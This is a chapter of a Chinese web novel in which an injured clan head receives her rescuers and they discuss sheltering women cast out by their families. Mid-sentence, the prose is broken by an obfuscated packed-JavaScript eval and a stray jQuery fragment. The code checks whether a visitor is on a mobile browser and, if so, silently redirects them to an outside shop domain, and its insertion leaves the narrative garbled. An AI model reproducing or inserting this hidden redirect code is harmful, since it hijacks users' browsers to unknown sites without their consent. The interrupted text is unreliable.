陈春煦这人倒是挺沉得住气的,礼节、话语都挑不出错来。不过倒也不意外,不能沉住气也不会蛰伏这么多年了。
池念安很想把刚才的事情说出来,但没有证据,只有她和沈涵芝还有几个婢女看见了,陈春煦大可以说是她们和方飞尘联起手来陷害他。
虽然池念安暂时还没想出来陷害陈春煦有什么好处。
“是吗?那念安在这谢过方家姑爷了。不过当务之急,还是要方家主醒过来。毕竟方家主才能做主的那一个,不是吗?”池念安本来就不喜陈春煦,方才这两个婢女又那种作态,再好的脾气也受不了。
池念安憋着一肚子火,说话也夹枪带棒的,脸上偏偏带着温柔的笑,倒让旁人有火发不出了。
俗话说得好,伸手还不打笑脸人呢。
而且池念安说的又是实话。
陈春煦没再说什么,像是被池念安那句“方家主才是做主的那一个”伤到了。
不多时,承空和提着药箱的小沙弥从厢房内出来。陈春煦马上迎上去,满脸着急:“住持,我夫人怎么样了?”
承空擦了擦手上的血,面色无悲无喜:“好在施救及时,方施主暂无大碍。只是要切忌伤好之前情绪大起大落。”顿了顿,承空越过陈春煦,看向一直一语不发的那个婢女:“贫僧待会儿将注意事项写下来。”
似乎没有想到自己会被点到,那个婢女还有点懵,陈春煦恨铁不成钢地瞪了一眼她:“春雨,还不跟着住持去?”
春雨连连点头。
住持,我夫人醒了吗,我能进去看看她吗?”陈春煦又道,脸上的担忧简直要溢出来了。
承空摇头:“方施主暂时不想见你。”说着,承空没有管神色很难看的陈春煦,对陈春煦身后的沈涵芝和池念安道:“两位施主,请进,方施主要见你们。”
“我们?”池念安有点疑惑,虽然莫名其妙跟了过来,还莫名其妙呛了人家两句,但她们和方飞尘应该没有关系才对啊?
承空点头,但没有解释为什么:“两位施主,有请。”
沈涵芝经过承空的时候,用眼神问他:“这就是你让我过来的理由吗?”承空没看她,只垂眸看着前方,手中佛珠捻得轻轻作响,其中意思不言而喻。
那一瞬间,沈涵芝真的很难说。
厢房内还有没散去的血腥气,方飞尘倚着床边,头上缠着纱布,脸色苍白,一双眼睛确是亮得出奇,精明的眼光扫过两人,蓦地柔和下来。
“两位恩人来了,快请坐。”方飞尘的语气也是有气无力的,情绪也有点低落。
毕竟才遭遇了所爱之人的冷漠无情,倒也正常。
沈涵芝和池念安坐在床的对面,不知道说什么。她们和方飞尘不是一个年龄层面,更不是一个阶级的人,若非这次意外,此生都不一定有机会认识。
“多谢两位恩人出手相救,救命之恩没齿难忘,除了我方家的承诺外,恩人想要什么报酬?”方飞尘比陈春煦直白多了,没有说“重礼”这种不好界定的东西,而是直接问两人想要什么。
池念安连连摆手:“方家主言重,我们没做什么,真正救你的还是住持。我们只是把人喊过来了而已。”
沈涵芝却若有所思:“我记得方家是有自己的济善堂的,对吗?”方飞尘并不惊讶为何沈涵芝会知道这个,这也不是秘密,她只是道:“这位姑娘的意思是?”
“济善堂一般是收留那些无家可归的孤儿,可那些明明没什么错,却被娘家或是夫家扫地出门的女子呢?”
“她们身无长物,只能做些粗活,可有时甚至连粗活也会被男人抢去。若是还带着孩子,岂不更难?”沈涵芝说的并不具体,因为这些并不是她自己所见,而是听那个“怪人”所说的。
或者说,在遇到“怪人”之前,她完全不觉得女子这样的生活有什么不对。
是“怪人”一遍又一遍在公开场合,强调她那在其他人看起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14203081|150873||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来简直是“歪理邪说”的“男女平等论”,让她知道了女子可以去做任何一切男子也能做的事情。
更是让她知道了,真正的自由,是有拒绝权利的自由。
她不知道“怪人”是不是还会一遍又一遍地强调这些,但她想做些什么,就当是感谢“怪人”上辈子对她的醍醐灌顶。
“这位恩人说得倒是有点道理,只是被娘家驱逐或是被夫家休弃的女子,又有几个愿意到济善堂?说起来容易?做起来还是难啊。”方飞尘没有对沈涵芝的要求说好还是不好,只是长叹一声。
若是没有今日两个小恩人,她的下场怕是比这些无家可归的女子更极端。
这怎么不能让她悲从中来?
沈涵芝似乎也想起了前世自己的悲惨的种种,感觉自己也能感同身受,顿感心酸。
只有池念安莫名其妙地看着开始叹气的两人。
她觉得今天都挺莫名其妙的。
“而且,济善堂也是需要经费维持开支的,除了方家的盈利会抽半成给济善堂,偶尔也会有好心人士的捐款,便没了经费来源。养孩子还行,还要养这些女子,怕是力不从心。”方飞尘蹙起眉头,很直白地把自己的困境摆在沈涵芝面前。
“族里有不少人想取消济善堂,碍着这是有利于方家名声的才没有发作。若是再接纳这些女子,族里人怕是不会答应。”
沈涵芝也理解,毕竟若是没有一个偌大的家族支撑,方飞尘也不能在短短十年内将方家抬到如此地位。
“方家主说的有道理,是我想当然了。”沈涵芝没有气馁。
至于为什么不说让那些女子学门手艺,出去挣钱然后把银钱还给济善堂。一是因为这时候的手艺基本上都是家族内部传承,很少有传给外人的;二来也是哪怕这些女子有手艺,出去找工,外头的掌柜也是优先录用男子。
所以沈涵芝还没提。
她知道,有些事情不是方飞尘一人能决定的。